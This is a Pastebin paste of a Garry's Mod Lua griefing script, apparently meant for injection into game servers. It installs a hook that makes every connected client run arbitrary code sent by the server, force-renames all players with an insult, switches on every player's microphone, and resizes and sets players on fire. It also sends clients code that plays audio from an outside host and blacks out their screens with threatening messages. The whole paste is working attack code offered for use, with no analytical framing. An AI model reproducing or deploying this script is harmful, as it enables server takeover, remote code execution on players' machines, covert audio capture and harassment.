Advertisement
xSakuraYT

TG

May 2nd, 2018
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.09 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37.  
  38. function lol:SendLua( pPlayer, strLua )
  39. net.Start( "skeleton_dancing_troll" )
  40. net.WriteString( strLua )
  41. net.Send( pPlayer )
  42. end
  43.  
  44. function lol:SetupPlayer( pPlayer )
  45. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  46. end
  47.  
  48.  
  49. -----START LINE CODE FOR DANSE
  50. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  51. -----STOP LINE CODE FOR DANSE
  52.  
  53. ------- STARTCODE FOR FORCE CHANGE NAME
  54. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", "Sakura Fuck You !") end
  55. ------- STOP LINE CODE FOR CHANGE NAME
  56.  
  57. ------- STOP LINE CODE FOR CHANGE NAME
  58. for k,v in pairs(player.GetAll()) do v:ConCommand("+voicerecord") end
  59. ------- STOP LINE CODE FOR CHANGE NAME
  60.  
  61. --------- GIANT
  62. hook.Add("Think", "giant", function()
  63. for k,v in pairs (player.GetAll()) do
  64. v:SetModelScale(50.5, 100);
  65. v:SetRunSpeed(400 * 2);
  66. v:SetWalkSpeed(200 * 2);
  67. end
  68. end)
  69. ------------------
  70.  
  71.  
  72.  
  73. for k, v in pairs( player.GetAll() ) do
  74. lol:SetupPlayer( v )
  75. timer.Simple( 2, function() lol:Start( v ) end )
  76. end
  77.  
  78. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  79. lol:SetupPlayer( pPlayer )
  80. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  81. end )
  82.  
  83. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  84. if strText:sub( 1, 5 ) == "/1337" then
  85. pSender:Ignite( 1e9 )
  86. pSender:ChatPrint( "Nop" )
  87. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  88. return false
  89. end
  90. end )
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98. lol:PushAction( 0, function( pPlayer )
  99. lol:SendLua( pPlayer, ([[
  100.  
  101. sound.PlayURL( "https://supronrp.fr/secret/satan.mp3", "", function()end )
  102.  
  103. local time = 1
  104.  
  105. hook.Add( 'RenderScreenspaceEffects', 'loading', function()
  106.  
  107.  
  108. draw.RoundedBox( 0, 0, 0, ScrW(), ScrH(), Color( 0, 0, 0, 255 ) )
  109.  
  110. if time == 1 then
  111.  
  112. timer.Simple( 5, function() time = 2 end )
  113.  
  114. draw.SimpleTextOutlined(
  115. "Bonjour... Je suis Sakura...",
  116. "DermaLarge",
  117. ScrW() /2 +math.random( -8, 8 ),
  118. ScrH() /2 +math.random( -8, 8 ) +1,
  119. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  120. TEXT_ALIGN_CENTER,
  121. TEXT_ALIGN_CENTER,
  122. 1,
  123. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  124. )
  125.  
  126.  
  127. end
  128.  
  129. if time == 2 then
  130.  
  131. timer.Simple( 5, function() time = 3 end )
  132.  
  133. draw.SimpleTextOutlined(
  134. "Je serait ton pire cauchemard...",
  135. "DermaLarge",
  136. ScrW() /2 +math.random( -8, 8 ),
  137. ScrH() /2 +math.random( -8, 8 ) +1,
  138. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  139. TEXT_ALIGN_CENTER,
  140. TEXT_ALIGN_CENTER,
  141. 1,
  142. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  143. )
  144. end
  145.  
  146. if time == 3 then
  147.  
  148. timer.Simple( 5, function() time = 4 end )
  149.  
  150. draw.SimpleTextOutlined(
  151. "Je vient ici pour faucher la vie de ce serveur...",
  152. "DermaLarge",
  153. ScrW() /2 +math.random( -8, 8 ),
  154. ScrH() /2 +math.random( -8, 8 ) +1,
  155. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  156. TEXT_ALIGN_CENTER,
  157. TEXT_ALIGN_CENTER,
  158. 1,
  159. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  160. )
  161. end
  162.  
  163. if time == 4 then
  164.  
  165. timer.Simple( 5, function() time = 5 end )
  166.  
  167. draw.SimpleTextOutlined(
  168. "La ou il disparaitera... en ENFER...",
  169. "DermaLarge",
  170. ScrW() /2 +math.random( -8, 8 ),
  171. ScrH() /2 +math.random( -8, 8 ) +1,
  172. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  173. TEXT_ALIGN_CENTER,
  174. TEXT_ALIGN_CENTER,
  175. 1,
  176. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  177. )
  178. end
  179.  
  180. if time == 5 then
  181.  
  182. timer.Simple( 5, function() time = 6 end )
  183.  
  184. draw.SimpleTextOutlined(
  185. "A BientΓ΄t... En ENFER...",
  186. "DermaLarge",
  187. ScrW() /2 +math.random( -8, 8 ),
  188. ScrH() /2 +math.random( -8, 8 ) +1,
  189. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  190. TEXT_ALIGN_CENTER,
  191. TEXT_ALIGN_CENTER,
  192. 1,
  193. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  194. )
  195. end
  196.  
  197.  
  198.  
  199. if time == 6 then
  200.  
  201. timer.Simple( 5, function() time = 6 end )
  202.  
  203. draw.SimpleTextOutlined(
  204. "Mhouaaaaa....",
  205. "DermaLarge",
  206. ScrW() /2 +math.random( -8, 8 ),
  207. ScrH() /2 +math.random( -8, 8 ) +1,
  208. Color(math.random(1,125),math.random(1,2),math.random(1,2)),
  209. TEXT_ALIGN_CENTER,
  210. TEXT_ALIGN_CENTER,
  211. 1,
  212. Color(math.random(1,25),math.random(1,25),math.random(1,25))
  213. )
  214. end
  215.  
  216.  
  217.  
  218.  
  219. end)
  220.  
  221. ]]))
  222. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement